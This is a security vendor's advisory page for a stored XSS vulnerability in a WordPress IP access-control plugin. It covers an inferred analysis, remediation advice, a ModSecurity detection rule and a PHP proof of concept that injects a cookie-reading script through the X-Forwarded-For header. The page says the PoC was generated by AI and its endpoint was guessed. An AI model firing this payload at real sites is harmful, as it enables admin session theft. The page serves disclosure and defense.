Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-14592: WP Real IP-based Access Control <= 1.3.1 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.3.1
Patched Version —
Disclosed August 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14592 (metadata-based): This is a stored cross-site scripting (XSS) vulnerability in the WordPress plugin ‘WP Real IP-based Access Control’ versions up to 1.3.1. The vulnerability allows unauthenticated attackers to inject arbitrary web scripts into pages that will execute when a user accesses the injected page. The CVSS score of 7.2 (High) reflects network attack vector, low attack complexity, no privileges required, no user interaction, scope change, and low confidentiality and integrity impact. The scope change indicates that the injected script can affect resources beyond the vulnerable component, such as the entire WordPress site’s admin area.

Root Cause: Atomic Edge analysis infers from CWE-79 and the description that the plugin fails to sanitize user-supplied input before storing it and fails to escape it upon output. The plugin likely captures the client’s IP address (via headers such as X-Forwarded-For or similar) and stores it in the database without proper sanitization. When an administrator views the stored IP log or access control list, the unsanitized data is rendered in the browser, executing any embedded scripts. No code diff is available, so this specific flow is inferred, not confirmed. The classification as stored XSS and the unauthenticated attack vector strongly suggest an IP or header value is the injection point.

Exploitation: An unauthenticated attacker can send a crafted HTTP request to any page that triggers the plugin’s IP logging or access control logic. For example, the attacker sets the X-Forwarded-For header to a malicious JavaScript payload (e.g., alert(1)). The plugin stores this value in the database. When an administrator later views the plugin’s settings page or log viewer, the payload executes in the admin’s browser. The exact endpoint and parameter are unknown without code, but the plugin slug suggests the vulnerable functionality is related to IP-based access control, likely an admin page that lists IPs. Atomic Edge research assumes the injection point is a header or parameter that the plugin records, and the output occurs on an admin screen.

Remediation: The fix requires proper input sanitization and output escaping. The plugin should validate and sanitize any user-supplied data, such as IP addresses, using functions like sanitize_text_field() or esc_attr() before storage. On output, values must be escaped with esc_html() or esc_attr() to prevent script execution. Since no patched version is available, users should disable or remove the plugin until a fix is released.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator’s browser. This can lead to session hijacking, creation of malicious admin accounts, installation of backdoors, or site takeover. The scope change indicates the attacker can pivot from the vulnerable plugin to the entire WordPress installation. The low confidentiality and integrity impact in the CVSS vector may understate the potential for full site compromise in typical WordPress environments.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-14592 (metadata-based)
# The vulnerability is stored XSS via unsanitized input (likely an IP header).
# We block requests containing XSS patterns in common IP-related headers.
# This is a narrow rule targeting headers that may carry the payload.
SecRule REQUEST_HEADERS:X-Forwarded-For|REQUEST_HEADERS:X-Real-IP|REQUEST_HEADERS:Client-IP "@detectXSS" 
  "id:202614592,phase:2,deny,status:403,msg:'CVE-2026-14592: Stored XSS via IP header in WP Real IP-based Access Control',severity:'CRITICAL',tag:'CVE-2026-14592',tag:'CWE-79'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-14592 - WP Real IP-based Access Control <= 1.3.1 - Unauthenticated Stored Cross-Site Scripting

// This PoC assumes the plugin logs the client IP address from a header such as X-Forwarded-For
// and stores it without sanitization. The payload is injected via that header.
// The exact endpoint is unknown; we target a generic admin-ajax action based on the plugin slug.
// Adjust the action name and headers as needed.

$target_url = 'http://example.com'; // Change to the target WordPress site URL
$payload = '<script>alert(document.cookie)</script>'; // XSS payload

// Step 1: Send a request to a common WordPress AJAX endpoint with the malicious header.
// The plugin may hook into 'wp_ajax_nopriv_*' or 'wp_ajax_*' actions, or simply log IPs on any request.
// We use a generic action name derived from the plugin slug.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'action=wp_real_ip_based_access_control_log');
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'X-Forwarded-For: ' . $payload,
    'User-Agent: AtomicEdge-PoC'
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "[+] Sent payload via X-Forwarded-For header to " . $target_url . "/wp-admin/admin-ajax.phpn";
echo "[+] Response: " . substr($response, 0, 200) . "n";

// Step 2: The payload is now stored. An administrator viewing the plugin's settings or log page will trigger execution.
// This script ends here; the attacker would wait for an admin to visit the vulnerable page.

echo "[+] Exploit sent. Check if payload executes when an admin views the plugin's IP log.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.